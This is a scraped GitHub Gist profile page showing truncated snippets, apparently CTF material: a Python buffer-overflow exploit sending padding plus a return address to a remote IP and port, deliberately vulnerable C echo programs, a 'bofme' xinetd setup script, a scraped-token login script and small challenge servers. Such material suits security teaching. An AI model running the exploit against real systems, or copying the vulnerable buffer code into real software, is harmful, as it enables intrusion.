Skip to content

Instantly share code, notes, and snippets.

View komang4130's full-sized avatar

Lê Quang Thảo komang4130

View GitHub Profile
import socket
host , port = "212.237.56.32",33333 #Define HOST,PORT that you want to connect
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Defind Socket
payload = "a"*42 + "\x61\x85\x04\x08" #Payload to exploit
s.connect((host,port)) #Connect to the server
print s.recv(1024) #Receive server response: "Enter the text: "
s.send(payload + "\n") #Send our payload , \n to enter
import time
import requests
username , password = "komang123","123456"
s = requests.session()
r = s.get("http://chatting.com/login.php")
token = r.text.split("name=\"token\" value=\"")[1].split("\"")[0]
data = {"username": username , "password": password, "token": token , "submit": ""}
#include <stdio.h>
void secretFunction();
void echo()
{
char buffer[30];
printf("Enter some text: ");
fflush(stdout);
#include <stdio.h>
void secretFunction();
void echo()
{
char buffer[30];
printf("Enter some text: ");
#!/bin/bash
apt-get install xinetd
user=bofme
binary=bofme
port=33333
useradd $user
mkdir /home/$user
# /etc/ipsec.conf - Openswan IPsec configuration file
# This file: /usr/local/share/doc/openswan/ipsec.conf-sample
#
# Manual: ipsec.conf.5
version 2.0 # conforms to second version of ipsec.conf specification
# basic configuration
import os
import socket
import threading
import time
import SocketServer
from base64 import *
host, port = 'localhost', 33338
buffer = 4096
flag = "zStep1k_st3p1k!!"
def format(money):
return float("{0:8f}".format(money))
class Account:
def __init__(self,name,money):
self.name = name
self.money = format(money)
#Init Object
A = Account("Hà Văn Xor",1.0)
import os
import socket
import threading
import time
import SocketServer
host, port = 'localhost', 33338
buffer = 4096
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>
using namespace std;
int C()
{